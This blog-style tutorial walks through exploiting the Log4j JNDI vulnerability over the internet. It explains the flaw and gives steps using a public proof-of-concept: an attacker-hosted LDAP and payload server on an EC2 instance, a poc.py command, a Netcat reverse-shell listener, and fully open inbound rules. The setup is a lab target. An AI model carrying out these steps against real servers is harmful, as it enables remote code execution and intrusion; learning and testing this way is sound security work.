How to Exploit Log4j Vulnerability over the Internet
Welcome to this comprehensive guide on the log4j vulnerability. In this article, we will see what the log4j vulnerability is and how to exploit it over the internet.
Log4j is a logging framework mostly used on Apache servers. The primary cause of the vulnerability lies in the way Log4j handles certain user-supplied inputs. When Log4j processes log messages containing specific patterns, it attempts to look up additional information from external resources, such as URLs. This process, intended to enhance logging capabilities, inadvertently exposes a flaw that can be exploited by attackers to inject malicious commands. JNDI is present in it to access log files. Log4j can be exploited by supplying a payload that calls JNDI to lookup a fake LDAP server where a malicious payload is downloaded and executed.
For exploitation purposes, a vulnerable environment is used. There are two methods to exploit this vulnerability over the internet. One’s via port forwarding the local machine’s IP, and the other is through an instance running in cloud infrastructure. I will be using an AWS EC2 instance to exploit it. I am going to use Kozmer log4j-shell-poc, it has a vulnerable application in it as well as an exploit, so we don’t need to set up a fake LDAP server and web server for the exploitation.
Let’s go straight into hosting the website and exploiting it with an EC2 instance, as most of the steps will be covered on the GitHub page.
First, host the vulnerable web application on a local machine and port forward it through ngrok or the router itself to expose it over the internet.
The vulnerable application is hosted now. The next thing is to set up an EC2 instance with Ubuntu running on it. Download the Kozmer log4j-shell-poc in the instance along with the java jdk1.8.0_20 in the exploit’s directory.
Note: In the instance security group set the inbound connection to all and from anywhere.
Run the command python3 poc.py — userip EC2IP — webport 8000 — lport 9001 to host a fake LDAP server and host the webserver for Exploit.class payload. Run a Netcat listener to get a reverse shell connection. To exploit over the internet we need our machine to be port forwarded but in EC2 instances we don’t need to port forward as it is available over the internet. We just need to alter the inbound rules in the security group.
Now copy the generated payload and submit it in the vulnerable web application.
As soon as the payload is submitted, it can be seen that a reverse shell is spawned as soon as the payload is submitted.
I have tried it in a real-time web application (with necessary approvals from the application owner) but couldn’t spawn a reverse shell, this may be due to the inbound and outbound rules set by the website. But received the hostname by crafting a payload with a Burp collaborator client.
I believe you found the article useful.
